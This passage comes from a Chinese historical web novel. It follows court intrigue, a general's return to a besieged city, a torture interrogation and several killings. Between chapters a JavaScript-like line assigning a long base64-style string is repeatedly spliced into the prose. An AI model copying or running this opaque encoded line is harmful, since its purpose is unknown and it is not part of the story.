“皇后娘娘,太后娘娘,两位娘娘饶命啊!”太医们跪在地上,不知所措。 张岚依冷哼一声:“来福,先带太医们过去。” 看着太医们被来福拉着出了殿门,太后忍不住站起身来。 她抬手便摔碎手边上的一个花瓶。 那花瓶的碎片迸溅出来,碎片擦着皇后的面颊而过,在她细嫩的皮肤上留下一道血痕。 张岚依抬手摸了摸血痕,看着指腹上的血丝。 “当年,太后娘娘的寝宫里也是挤着整个太医院的太医,不知道娘娘还记不记得。” 原本愠怒的太后,神情一下子高深莫测起来。 “怎么?皇后娘娘清闲日子过得多了,竟然开始拉着哀家回忆往事了?”她翘着二郎腿依靠在椅子上。 张岚依心中的话眼看着就要脱口而出,却在紧要关头被她硬生生给咽了下去。 “时候不早了,太后娘娘早点休息,明日臣妾再来跟您请安。” 太后看着张岚依的背影,唇角都是轻蔑的笑容。 等到人都走了,大殿恢复了以往的死寂。 她才轻轻的开口。 “真不知道,闹着一出是要干什么。” 她将手指尖的信纸放在了烛光之下,上面依稀写着“……拖延……”的字样。 长叹一口气,太后将信纸烧掉。 幽幽的说道。 “哀家,去哪儿都是个坏人。” …… 皇帝昏睡不醒,贵妃提前产子,皇后与太后公然对峙…… 一桩桩,一件件,都暗示着皇城动荡不安。 所有人都想知道孙贵妃生的是公主还是王子,但皇后的人将大殿包围的是里三层外三层,愣是一点点消息都不透露出去。 甚至还学起了太后的蛮横,将太医院的太医全部扣了下来。 “得亏当时皇后娘娘当断即断,不然贵妃姐姐可就危险了。”想到当时的画面,燕凌珍还是忍不住的唏嘘。 若是再晚上一会儿,那就是一尸两命。 当时得亏她在皇城外面,看见烟花之后立刻进宫,一切的一切都是那么的恰到好处。 “都是小皇子吉人自有天相啊。”来福在旁边说道。 榻上的孙贵妃产后大出血,此时身体虚弱的不行。 燕凌珍废了好些手段,才将人给从阎王手里抢了回来,只不过到底是古代,没有现代的先进设备,一切都得循序渐进。 “嬷嬷看着,我去看看药熬的怎么样了。”燕凌珍逗了一会儿小皇子,出去看药了。 燕凌珍将柴火多放了些,站在院子里伸了伸懒腰。 太医院的太医们百无聊赖的在她面前来回踱步。 看着他们满脸愁云的样子,燕凌珍翻了个白眼,直接进了门去。 该! 身为医者,却趋于权势。 眼下皇后对于他们的惩罚,还算是轻微的。 等到陛下醒过来,只怕太医院又要换血了,届时,倒是可以将同仁堂里的大夫塞进来一些。 燕凌珍盘算着小九九,走进屋去。 却发现来福昏倒在地上。 原本放着小皇子的摇篮里面空空荡荡! 她赶紧上前将来福晃醒。 “嬷嬷,嬷嬷你醒醒!小皇子呢?” 来福睁开眼,只觉得后颈很疼:“奴婢刚刚只觉得有人来,还没有看清楚是谁,就直接晕了过去。” “这下糟了,得赶紧禀报皇后娘娘!”燕凌珍焦急的说道。 谁曾想里三层外三层的,小皇子还能被人给抱走了。 “简直是岂有此理!”张岚依回寝宫换套衣服的功夫,就看见来福神色慌张的回来了,她一下子便知道大事不妙了。 皇城之内,功夫在来福之上。 会是谁呢? “眼下贵妃妹妹还没有醒过来,若是她醒过来发现皇子丢了,只怕她会熬不过去。”张岚依担忧的说道。 “陛下那边呢?”张岚依忧心忡忡的问道。 来福摇了摇头:“负责陛下的太医说,今日陛下清醒了一段时间,但是很快又昏睡过去了,燕六小姐也过去看了,只说陛下是神思受损,眼下的昏睡就是在自我治疗。” “什么事情都乱套了。”张岚依忍不住说道。 恰逢窗户被猛地关上。 大风竟然瞬息之间就起来了。 “娘娘,眼下我们应该怎么办啊。”来福迷茫的说道。 张岚依苦笑:“走一步算一步,继续加派人手去寻找小皇子的下落,本宫倒是不信了,皇城就这么大,那人带着小皇子究竟能够躲到哪里去!” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十七章 阿满一人,可敌万人 曹家亡了,以王大人为首的门生,悉数都被大理寺收监,整个京都的官宦系统毁了一半。 萧鸿深还在沾沾自喜西凉城的将士都将以他为马首是瞻的时候,京都的宅基地被人给偷了个精光。 且说西凉城内,纪云台将整个城池翻了个底朝天,愣是没有找到燕晚清的踪影。 那瑶池县主被神秘男子废了之后,更加是坐实了她对燕帅下黑手的事实。 倘若不是萧鸿深和纪云台用阵法保护着那所院子,瑶池县主估计都活不过三天。 眼看着燕帅失踪可能遭遇不测的消息就要瞒不住了。 这天纪云台终于收到了一个好消息。 “当真?”纪云台胡子拉碴的,满眼血丝的眼睛里充满了不可置信的希冀,他生怕自己听错了。 “千真万确,过路人说是看到了与燕帅画像相似的女子,现在还在前院等着拿赏钱呢。” 纪云台滚动着轮椅:“我现在就去看看。” 二人行至中台。 突然听到一阵玄天战鼓作响。 纪云台面色阴沉:“偏偏这个时候攻打过来,一定是听到了风声。” “纪云台,这是什么声音!”听到声音过来的萧鸿深皱着眉头问道。 “他们攻打过来了。”纪云台沉声说道。 “谁?”萧鸿深心生不妙。 “定是知道了燕帅失踪的消息,所以选择这个时候攻打过来。”纪云台捏紧轮椅的把手:“这帮畜生!” 萧鸿深眼中闪烁思虑:“纪云台,立刻召集城主府所有人等,随本殿迎敌!” 大敌当前。 纪云台死死的咬住牙口,从胸腔中挤出:“诺!” 狼烟骤起。 远在蓝湖的燕晚清时刻关注着西凉城的方向,见状立刻起身。 蓝湖的群众立刻开始收拾东西躲进屋子里。 大家都知道战争要开始了。 “别担心啊,有咱们西凉城的城主在,最多就是四日,那倭寇必退。”大嫂对着忧心忡忡的燕晚清说道。 燕晚清唇角勾起一抹敷衍的笑意。 此刻众人正在对敌,她这个大帅却安于此地,实在是个讽刺。 “姐姐……”燕晚清刚开口。 秦舞便蹙眉:“你的伤还没好。” “你的妹妹这是要去哪儿?”大嫂看到燕晚清的神情,忍不住问道:“外面现在兵荒马乱的,西凉城外全都是倭寇,你现在出去就是送死啊。” 燕晚清被说的瞬间不说话了。、。 她表情有些黯然,自顾自的朝着屋子里走去。 这一幕被远处的黎安看见了,眉头微微蹙起。 他自然是知道燕晚清的真实身份的。 倘若不是自己的那一枚暗器,只怕此女子正在城中坐帅挂阵吧。 想到她指点江山的画面,黎安不知道怎么的心里就勇气一阵慷慨激昂起来。 “若是你想去西凉城,也不是没有办法。” 燕晚清听到声音,立刻转过身来,眼神都亮了:“兄长有办法?” 黎安说完才意识到自己刚刚说了什么。 顶着阿库等人投来的质问的目光,他轻咳一声:“有的,稍微有点凶险。” “只要能回到城中,再危险都可以。”哪怕是死,她都要和她的士兵们死在一起。 看着燕晚清眼中的热忱。 黎安点点头:“好,等天色再晚一点,我们便出发。” “嗯嗯!”听到兄长这么说,燕晚清心中踏实了不少。 燕黎安说有办法,那么便是有办法。 秦舞听着他们二人的话,眼皮子一直跳。 趁着人少,她赶紧拉着燕晚清进了屋子。 “你当真要去西凉城内?不要命啊。”秦舞满眼都是不赞同。 燕晚清十分认真:“国主应该知道,战事紧急,吾虽一人,仍往矣。” “真是拿你没办法。”秦舞叹了一口气:“跟个牛似的,倔的要死,战事刚起你就要进城,这不是典型的活靶子么,到时候被倭寇给拿住了,拿你要挟那西凉城的城主开城门投降,寡人看你怎么办。” 这并不是危言耸听。 两军对阵,最害怕的就是突发状况。 “我不会允许这种情况发生,既然是想好了要进城,我绝不会成为西凉城的负担。”燕晚清笃定的说道。 “也是,你是女诸葛,定是想好了万全之策,但是你让黎公子送你进去,可想好了护他之策?他可是个布衣啊。”秦舞担忧的握紧拳头:“不行,我也得过去,我得去保护他。” “国主还是想清楚再说,您的身边只有阿满一人。” 这个时候就不要凑热闹了吧。 “阿满一人怎么了,她可敌万人!”秦舞这就不高兴了:“你当寡人嫌命长是不是,只带阿满一人护着,便是足以说明她的厉害。” “嗯,是挺厉害的,胃口很大。”余光之中,阿满从坐下来开始,嘴巴就没有停下来过,光是烤鸡就吃了整整两个,果然是厉害。 秦舞轻咳一声:“阿满别吃了!” “怎么了小姐?”阿满虔诚的放下鸡腿,看着秦舞说道。 “晚点的时候,我们三个一起进西凉城。” 燕晚清不同意:“如今你身份敏感,进去牵扯的便是两国的事情。” “寡人已经许诺你以后当秦国的丞相了,难道你就不敏感?” 燕晚清:“微臣可没有直接答应。” “你答应了,寡人两只耳朵都听见了。”秦舞冷哼一声:“想赖账是吧?你信不信寡人现在就休书一封,让人把西凉城直接打下来。” 燕晚清唇角抽了抽:“国主若是想试,晚清奉陪到底。” “油盐不进的东西!气死寡人了。”秦舞见没说通,气呼呼的推开门就出去了。 阿满不舍的看了一眼那鸡腿,还是选择义无反顾的跟了出去。 闹腾的主仆二人终于出去了。 燕晚清松了一口气。 她头疼的揉了揉眉心。 余光却发现窗户边上有个人影在乱晃。 “柴右,你鬼鬼祟祟的想干什么!” “咳咳咳!什么鬼鬼祟祟,在下可是光明正大的偷听。”柴右推开窗户,露出上半身:“哎呀,燕帅看来是遇到了麻烦啊。” “不明显?”燕晚清翻了白眼:“明眼人都知道,轮不到你来说。” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十八章 文人,该死的软脚虾 “主子,那黎安公子看起来跟您有几分相似啊,这中间莫不是有什么不可告人的关系?”柴右趴在窗户上,像个浪荡子。 燕晚清眼皮子都没抬:“你跟了萧鸿深一段时间,怎么开始喜欢说废话了,在场的这么多人,就你眼神好?” 他们是一母同胞的兄妹,长相上面自然是有着至少五分的相似。 母亲所出的这些姊妹兄长里面,就她和大哥长得最像了。 “那大公子现在是什么情况?看他的样子,好像是不认识您呐。”柴右又说道。 燕晚清眼里缓缓浮现一丝深沉。 “不知道。”如果知道的话,她怎会容忍大哥变成现在的模样。 就好像是个没有人情味的傀儡。 虽然在笑,可是笑容里面充满了伪装。 “我虽然不知道大哥身上究竟发生了什么,但是这一切一定和光明神教脱不了干系!” 柴右愣了:“主子也知道光明神教?” 听柴右的语气,他好像是知道的不少。 燕晚清眯着眼睛看向柴右:“把你知道的全部都说出来。” “这……微臣也是从上古书籍上面看到的,光明神教虽然有个很阳光积极向上的名字,可是干的事情都是丧尽天良的啊,哪里出现这个教的教徒,那么哪里就要发生战乱和死亡,他们主张动乱之后的升华,主张乱世之后的太平盛世,每过几百年,光明神教便会出来祸乱一方……” 柴右讲的口干舌燥,却看见燕晚清的脸色越来越黑。 “怎么主子?”柴右不明所以。 “光明神教出现在哪里,哪里就会有战乱和死亡……”燕晚清轻轻呢喃,神色更加凝重。 那么她是不是能够理解为,雁门关和西凉城都有这个光明神教的手笔? “如果今日的狼烟是光明神教的杰作,那么依你之见,站在整个西凉城对面的就不只是倭寇了,还有光明神教。” 柴右听完神色也跟着凝重起来:“如果事情如主子推算的那样,事情就不简单了,这件事情得尽快告诉西凉城内部的人。” “速去准备,今日无论如何都得进城。”燕晚清吩咐道。 “好嘞!”柴右也不敢懒散了,赶紧去找否极。 人多目标就大。 她得从长计议。 最好是能知道光明教在这次战乱之中,扮演的是一个什么角色。 燕晚清拖着香腮陷入了沉思。 很快唇角勾起一抹轻笑。 这光明教徒眼下身边不就有几个么? 她不能从黎安那边突破,但是他手底下的那几个,看起来就容易对付多了。 天色逐渐变黑。 燕晚清和秦舞蹲在草垛子后面。 “这能行么?” “行不行也不影响,这是看一下他背后的图腾而已,顺便再问他几句话。”燕晚清直觉阿库背后的图腾一定是教徒必备。 秦舞咋舌:“这胖子要是不是光明神教的,到时候被黎公子知道了,看你怎么收场。” “你要是担心黎公子误会的话,你可以先撤,把阿满借我以防意外就行。”燕晚清抬手催促着秦舞离开。 秦舞站起身,四下看了看:“借阿满给你,跟寡人在这里有什么区别,不借,你身边的那个黑衣少年就厉害的很。”说着她赶紧跑开了。 燕晚清瞧着她搔首弄姿的背影,轻哼一声。 小气。 那边柴右已经大摇大摆的走在了蓝湖边上,他故意在阿库面前走来走去,终于吸引了对方的注意。 “哎呦天真热,马上就要上路了,洗个澡吧。”柴右站在湖边上宽衣解带。 此时阿库已经走到了他的身边。 柴右装作刚刚发现他一样:“哎呦,你也过来洗澡吗?” 阿库上下扫了一眼柴右,柴右浑身都在用力绷紧肌肉。 “哼。”柴右斜眼不示弱的扫了一眼阿库:“别不是没底气吧。” 说着他的目光往下扫去。 阿库额头上的青筋瞬间冒出来,紧接着便脱掉了外衫。 身后的燕晚清赶紧在纸张上面开始画图腾。 柴右余光看见自家主子已经开始动了,于是又大声说道:“你这都是虚肉,真男人得像我这样,浑身精瘦,穿衣显瘦,脱衣有肉,京都的小娘子们可最爱我这副模样了。” “你说的是京都。”阿库用着撇脚的口音说道:“在荒原之上,女儿家们都喜欢我这样有安全的男人,而不是像你这样的……瘦猴子。” 说完阿库叉着腰哈哈大笑起来。 柴右恨不得跳起来给他俩大嘴巴子。 余光不断的示意燕晚清什么时候动手。 “走啊,你不是要洗澡么?”阿库一只手放在了柴右的肩膀上。 柴右打着哈哈笑道:“自然……是要洗的,只不过这湖边风景甚好,我还想再看看。” “文人就是屁事多,洗个澡还要赏风景,我们荒原上的男儿们就没有这么多事情。”阿库冷笑一声,笑容有些狰狞。 柴右丝毫不输气场:“你一介武夫自然是不懂这种人间趣味。” “你就是个软脚虾,老子一拳就能把你打进这湖边的地上,你信不信!”阿库大声说道。 “我信,但是你敢打吗!”柴油皮笑肉不笑,做足了小人得志的姿态:“我家主子可是你主子的妹妹,你若是动手的话,只怕你家主子的面子上会十分难看,哎,到时候某人可就要吃不了兜着走咯。” “不过就是个挂名头的圣子,真当我阿库怕了他不成!”阿库挥舞着拳头冲着柴右骂道。 柴右只抓得住他话语中的字眼:“什么圣子?” 阿库意识到自己说了不该说的话,立刻恼羞成怒的骂道:“你这个该死的软脚虾,竟敢套老子话,老子弄死你!” 说着他就要去抓柴右的脖颈。 柴右依靠着自己灵活的身姿:“你这人说话就说话,非得动手,这话是你自己说出来的,关老子屁事!玩不起是吧!” 阿库哪里管得了这些,他现在只想弄死柴右。 似乎只有柴右死了,他的怒火和屈辱才能够被平息。 柴右左右躲闪,苦不堪言,眼见着就要被阿库给抓住,他再也忍不了了,大喊一声:“你丫的还要看多久的戏啊!” 再看下去,老子都要死翘翘了! windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十九章 割头发,下地狱 燕晚清苟着脑袋,总算是在纸上画完了大致的图腾,于是挥了挥手。 否极赶紧从旁边出来,将柴右从阿库的铁手之下给弄了出来。 这阿库再蠢也意识到不好了。 刚要离开,便看见燕晚清从后面慢悠悠的晃了出来。 “你们想干什么!” “干什么?哼哼。”燕晚清勾起一抹邪笑:“当然是干你!” 话音刚落,燕晚清和否极同时出手,很快便将阿库给拿下。 “你这样做,你的兄长不会原谅你的!”阿库威胁道。 燕晚清挑眉:“他原不原谅我是我的事情,我原不原谅你也是我的事情。” “你——”阿库刚要说话,就被燕晚清抬手一个手刃给打晕了过去。 她揉了揉手:“找个僻静的屋子关进去,我有几件事情想要问问他,千万别让人发现了。” 房间内。 阿库被一盆冷水从头浇下来。 睁开眼睛就看见那个跟圣子长得很像的女子,坐在椅子上,眼神一眨不眨的盯着自己。 “我什么都不会说的。”阿库忍不住说道。 燕晚清被逗乐了:“我什么都还没有问呢。” “你抓我过来肯定是想从我嘴里套出来点东西,死了这条心吧,我什么都不会说。” “放心,你什么都会说的。”燕晚清搓了搓手掌心:“非常时期,我也不想做出这种恶毒的手段,但是你也知道,你的黎安主子,跟我有着很多渊源,估计这也是你们为什么派他来西凉城的原因所在吧。” 燕晚清顿了顿,水眸清澈见底,却无端让人遍体生寒。 此时否极已经开始拿出了匕首。 “都说胖人的肉多,只是不知道这肉究竟比我们正常人多多少。” 阿库看着那锋利异常的匕首,冷哼一声:“雕虫小技。” 一盏茶之后。 阿库身上已经没有了一寸好地方。 他疼的嗓子都喊哑了。 燕晚清抬了抬手,否极停下了手,她目不转睛的看着阿库说道。 “你们光明教,究竟对我哥做了什么。” 阿库疼的神志不清,但是一听她说出光明教,还是愣了一下。 这个女子怎么会知道光明教。 这次行动分明是暗中行事。 难道是圣子走漏了消息? “不说是吧?否极,把他的头发全部剃光,瞧给他热的。”燕晚清继续漫不经心的说道。 表面上看着她十分淡定,运筹帷幄,其实内心已经开始有些焦灼了。 马上就要出发了。 很快兄长就会发现队伍里少了一个人。 她得尽快了。 转机就在这个时候出现了! 眼看着否极就要去动阿库的头发,那阿库竟然疯狂挣扎起来。 “不要!不许碰我的头发!” 燕晚清见他动作如此激烈,表情也不似刚刚那般,她微微眯起了眸子。 “动你头发会怎样?比割你的肉还疼?” 阿库双眼猩红:“割了头发的人死后灵魂得不到圣主的祝福,死后会下地狱的。” “原来是这样。”燕晚清从否极手手里拿过匕首:“那接下来我问你什么你说什么,你若是不说,我就将你的头发全部割下来,让你死后下地狱。” 否极:“……”主子,你好恶毒,我好喜欢啊! 阿库:“你这样的人,死后一定下地狱!” 这样恶毒的女人,怎么会是圣子的亲生妹妹! “我死后一定下地狱,你就不一定了。”燕晚清揪起他脑袋上的一缕头发,匕首缓缓逼近:“天堂,还是地狱,眼下就看你的选择了。” 阿库气得浑身颤抖:“我说,我说!不要动我的头发!” 燕晚清冷哼一声,将头发放了下来:“识时务者为俊杰。” “我问你,我兄长的失忆是你们教主做的么?” 阿库龇牙咧嘴:“不是,你兄长从战场上被捡回来的时候就已经失忆了。” 燕晚清:“你们这次来西凉城想干什么?” 阿库:“发动战争。” 燕晚清:“我兄长在你们队伍里充当什么样子的角色?” 阿库:“圣子,你兄长是我们教主亲自赐予称号的圣子,是我们光明神教百年难遇的天才少年。” 说到天才少年的时候,阿库的语气明显十分骄傲。 燕晚清冷笑一声:“这用你们教主说,我兄长少年英雄,早就不知道跟着我父亲征战过多少沙场了。” “你的兄长,很厉害。”阿库又说道。 燕晚清还想问什么,但是此时外面已经开始有脚步声。 “好像要动身了。”否极说道。 燕晚清眯着眼睛看着阿库:“杀了吧。” “不会被发现吧?”否极问道。 燕晚清轻笑:“光明教徒,人人得而诛之。” 否极听罢,直接捂住了阿库的嘴巴,匕首割喉。 燕晚清看着地上的血水,对着否极吩咐道:“处理干净,我先出去了。” 出去之后,秦舞第一个就看见了她。 “你完事儿了?”她神秘兮兮的问道。 这话说的有点奇怪。 “给个帕子。” “什么?”秦舞没听清楚。 燕晚清从袖子里露出手来,上面是鲜红的血迹。 秦舞立刻从袖口掏出帕子给他包上了。 “你把人……” 话还没有说完,就看见燕黎安走了过来。 “怎么了?” 燕晚清:“嗯?” “手。” 燕晚清将帕子缠了缠:“刚刚切东西被割破了,不碍事。” “我看看。” 说着燕黎安就伸出手过来。 燕晚清赶紧躲开:“不碍事的兄长,小伤。” “……好。”燕黎安这才意识到自己刚刚的行为有多么的不合适。 人家一个小姑娘的手怎么能给自己看呢。 自己真的是有些关心则乱了。 “你们看起来就像是真兄妹一样。”秦舞打趣道。 燕黎安听到这句话,眼神有些奇怪,为了避免气氛这样尴尬,燕晚清赶紧说道:“是不是快要出发了?” “是的。”燕黎安才想起来正事。 “已经打探到了,倭寇攻击的是城东、城西和城南,我们从城北进城就行。” 攻城三个处,却唯独留一个城北。 燕晚清直觉不妙。 若是兄长真是这场战争的策划,他会这么轻易的放过城北么? 看着燕黎安此刻温柔的小脸,燕晚清心里十分复杂。 “好,接下来就要麻烦兄长了。” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百四十章 她不是燕帅,是尖细 公子,还是没有找到阿库。”一个属下对着燕黎安说道。 燕黎安看了看远处正在给马儿喂草的柴右,眼里闪过沉思。 “还要继续找吗?”属下问道。 燕黎安抬手:“不等了,天色不早,立刻出发,不能耽误了我们的正事。” “公子此行真的要带上那位姑娘?她的身份……”属下有些迟疑。 燕黎安努力压抑心里的浮躁,脑海中只剩下教主给他的任务。 “没有她的身份,你以为我们进的了西凉城么?” 属下立刻噤声了。 此刻燕晚清顺势看了过来,和燕黎安的目光在空中交织。 燕晚清愣了一下,随即扬起一个明媚的笑容,笑容好看的让燕黎安心里更加堵了。 临行之前,大嫂十分不放心拉着燕晚清的手:“你就听我一句劝,现在不应该冒险,城里打仗呢,你一个姑娘家凑什么热闹啊……” 燕晚清心中一阵感动:“大哥大嫂都很关心我,但是西凉城我是一定要去的,我的亲人我的伙伴都在里面出生入死,我不能为了一己私利苟活在外面,我的父母不是这么教导我的。” 听到这里,大嫂才总算知道了燕晚清的决心。 “好,既然你意已决,我也没有办法再去劝你了,万事……都要小心啊。” 燕晚清重重的点头。 正式出发! 燕晚清和否极,燕黎安和他的几个属下,秦舞和阿满也想跟着,但是被燕晚清拒绝了,说等战事稍稳,便派人过来接他们,柴右因为受不了颠簸,所以选择留在了蓝湖。 有柴右和阿满在,秦舞的安全倒不用那么担心了。 实际上是,燕晚清对于此行不是那么十拿九稳。 她总觉得会发生一些难以控制的事情。 西凉城北。 燕晚清一骑绝尘冲在最前面,否极紧跟其后。 离得越近就越能听见城池里面的喧嚣。 燕晚清感觉自己身上的血液都开始沸腾了。 “兄长——”她大声冲着身后喊道。 燕黎安迅速扬起马鞭,到了她的隔壁。 风儿吹起他们的发丝,一如当年兄妹俩在战场上驰骋的时候。 燕黎安脑海中倏地就闪过了一些画面。 燕晚清却不知道这些,她大声说道:“马上就要到城门口了,兄长带人跟在我的身后,若是有意外发生,兄长不用管我,自行撤退!” 说完这句话,燕晚清便又加速朝着城门口冲去。 “我乃西征统帅燕晚清,速开城门——!”带着内力的怒吼响彻整个城门口。 城门上原本拿着弓箭严阵以待的士兵们,立刻愣住。 “当真是统帅!快去开城门!” “等一等,那倭寇奸诈,谁知道是不是冒充的,速去城主府请城主过来辩证!” 有小兵从城门骑上快马朝着城主府而去。 只是眼下战事骤起,纪云台又怎么会在城主府呢。 小兵找不到人,只能往回走。 “站住!” 女子绵软的声音响起。 小兵立刻看过去,对方面色苍白,依靠着一棵树,穿着一层波纱。 “姑娘您有何事?” “我扭到脚了,你过来帮我看看。”女子撩起裙袍,露出白皙的小腿,小兵瞬间面色红润了起来,鬼使神差的朝着那边走去。 女子勾起红唇,伸出手过去:“……你帮我看看,好疼啊。” 下一秒。 小兵惊呼一声,直接倒在了地上。 他怎么也不会想到会被一个看似羸弱的女子给掐住了脖子,直接要去了性命。 女子迅速将小兵的尸体拖到了凉亭里,然后迅速放下了周围的帷幔,开始互换衣服。 那女子正是李呈媛。 她早就在萧鸿深和纪云台讨论战事的时候听到了,城北没有倭寇袭击,此时趁着他们不注意,从城北逃脱是最好时机。 而且今日墨山跟在萧鸿深的身边,就是说整个城主府的人都不会是她的对手了。 此时不走更待何时? 难道真的要等那个贼子回来杀了自己替燕晚清报仇不成?! 李呈媛强忍着呕吐的**,将小兵身上充满汗臭的衣服扒拉下来,穿在了自己的身上,然后再将长发悉数绑成一个发髻,将小兵的帽子戴了上去,又在地上摸了一把灰,涂在细白的脸上。 以防意外,她对着湖边仔仔细细的查看了一番,确保外形上不会被发现,才松了一口气。 临走的时候,她看着地上的尸体冷哼一声。 “毛都没长齐,还学人翻云覆雨,小垃圾。” 李呈媛的手脚都有伤,翻身上马废了她好一通功夫,好在给这个小兵配的马匹不算太高大。 李呈媛骑着快马直接朝着城北而去。 此时城门口早就有人在等着了,见她过来,赶紧拉住了缰绳问道:“城主呢?怎么没有人过来?” 李呈媛愣了一下,心想糟糕,还没有问清楚那小兵究竟为何到城主府去,自己便将他杀了。 好在下一秒这个人又自顾自的说道。 “此刻那自称是燕帅的人就在城门口,不知真假,我们如何能够放人进来……” “属下知道!”李呈媛压着嗓子说道。 那人狐疑的看了他一眼:“说什么屁话,你连人都没有见过,你怎么会知道燕帅长什么模样。” “属下就是知道,那城主府到处都贴着燕帅的画像,小的从里面走一趟便认识了。” “当真?” 李呈媛点了点头,她捏紧双手:“燕帅这样的人,千古一人,见一面便终身难忘,哪怕只是画像,小人也能将其认出来。” “行了行了,只能死马当活马医,你自行去城门上看看吧。” 李呈媛立刻抬脚朝着台阶上而去。 突然。 “你脚怎么回事?走的时候不是好好的。”身后传来声音。 李呈媛脊梁上冒出冷汗。 “刚刚下马的时候拐到脚了,不碍事的,小的……先上去了。” “去吧去吧。”对方转过身去,将马儿牵到了一边。 李呈媛强忍着疼痛爬上了城门口,此时城门下百米的地方,赫然有几个人影。 那个一身朱红色长袍的人,不是燕晚清又是谁?! 哪怕是化成灰,她都会认出这个女人! 李呈媛恨得牙痒痒。 真是福大命大,伤成那样,都还能活下来,而且她的双手双脚好像也恢复了。 嫉恨和愤怒在李呈媛的胸腔中来回激荡。 “认出来没有,她是不是燕帅?”守城门的人问道。 李呈媛咬紧牙关,从唇齿之间挤出来:“不是!他们是尖细!” 燕晚清,我要你死! 你不死,如何解我心头之恨呐…… windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百四十一章 李呈媛,天早就变了 “那是倭寇,放箭——!”李呈媛面目狰狞的冲着守城的士兵说道。 士兵愣了一下:“什么?” “那人根本不是燕帅,是倭寇!”李呈媛又重复了一遍。 “离得这么远,你怎么知道。”士兵不敢轻易下判断。 “此刻大敌当前,宁可错杀,绝不放过,燕帅怎么可能这个时候回来呢,分明就是倭寇的诡计!” 这句话之后,领头的士兵醍醐灌顶。 “来人,速去准备弓箭!” 见状,李呈媛露出诡异的微笑。 城门之下。 燕黎安眯着眼睛看着城门上的人:“感觉不太妙。” “他们在争吵什么?” 燕晚清微微蹙起眉头,在看到对方突然人多了起来之后,她立刻大喊出声。 “私下散开——!” 众人赫然发现,就在燕晚清话音刚落下,就看见城门上的士兵们朝着他们举起了弓箭。 “瞎了眼的狗东西连我都不认得了。”燕晚清骂一声,竟然随着马直勾勾的朝着城门而去。 众人大吃一惊,不知道她此刻想要干什么,都以为她疯了。 唯有否极骑着快马紧跟其后,他大喊一声:“主子,接剑——!” 燕晚清头都没有回,伸出手便稳稳的接住了否极丢过来的长剑,只见她操纵着马儿在箭羽之中灵活躲闪,眼看着就要到了城门口,李呈媛急了。 她抢过旁边人的弓箭朝着燕晚清射了过去! “原来是你在搞鬼!”燕晚清冷哼一声,剑已出鞘,旋身插在城墙缝隙之中,竟然借力转眼间就到了城门之上。 而李呈媛手中的弓箭也被她一脚蹬落。 “都瞎了是么!”燕晚清将长剑捏在手中,剑尖已经指向了领头人:“以下犯上,你们该当何罪,竟然敢朝着本帅射箭!” “是他,他说您是倭寇的!”再是没有眼力劲的领队,此刻看见燕晚清的气势也是被吓得不轻了。 “看看这是什么。”她将帅印丢了出去,领队双手接住,立刻跪在了地上。 “恭迎燕帅回城!” 听到他的声音,士兵们齐刷刷单膝跪在了地上:“恭迎燕帅回城——!” 燕晚清抬起长剑,一声不吭直接劈了下来,那领队吓得浑身冷汗,以为自己要被杀了,但是没有想到下一秒,一个帽子被劈成了两半,掉在了地上。 “李呈媛,你好大的胆子啊。” 城门上的风吹散了李呈媛的长发,暴露了她的女儿身。 “你竟然是女的!”领队大吃一惊,这下子总算是知道受到了陷害。 李呈媛一个眼色都不给领队,冷笑着骂道:“自己蠢,还怪别人。” “燕晚清没有想到啊,你竟然命这么大,都戳成那样了,你竟然还活着。”李呈媛看着燕晚清刚刚灵活的身姿,脑海中都是见鬼了三个字,实在是有悖于科学。 一个人在挑断手脚筋还戳穿胸膛的情况下,还能活下来。 “难不成你这幅身子的背后,有玄妙?”就跟她一样,是穿越过来的? 李呈媛皱着眉头试探道。 燕晚清根本不知道她在说什么东西,抬手让领队下去开城门,让自己的人进来,她开看着李呈媛说道:“我确实死过,但是阎王爷不收,所以我又回来了。” “从阎王殿外徘徊的那段时间,我一直都在想一件事情,什么叫做犹豫就会败北,什么又叫做当断不断反受其乱……”她朝着李呈媛迈着步伐。 李呈媛超后退:“你想干什么?我乃圣上亲封的瑶池县主,你杀了我你也不会好过的,七皇子不会放过你,陛下也不会放过你!” “你对我动手的时候想过这些么?”燕晚清觉得十分可笑,手里的长剑下一秒已经戳进了李呈媛的胸口。 “你——”李呈媛没有想到燕晚清竟然直接动手。 “我什么?”燕晚清步步逼近,手里的长剑一寸一寸的贯穿了她的身体,直到最后,她依偎进了燕晚清的怀中,才听见燕晚清冰冷不含感情的话语:“你依仗的那些权势,我自始至终都没有打算放过他们。” “李呈媛,天早就变了。” 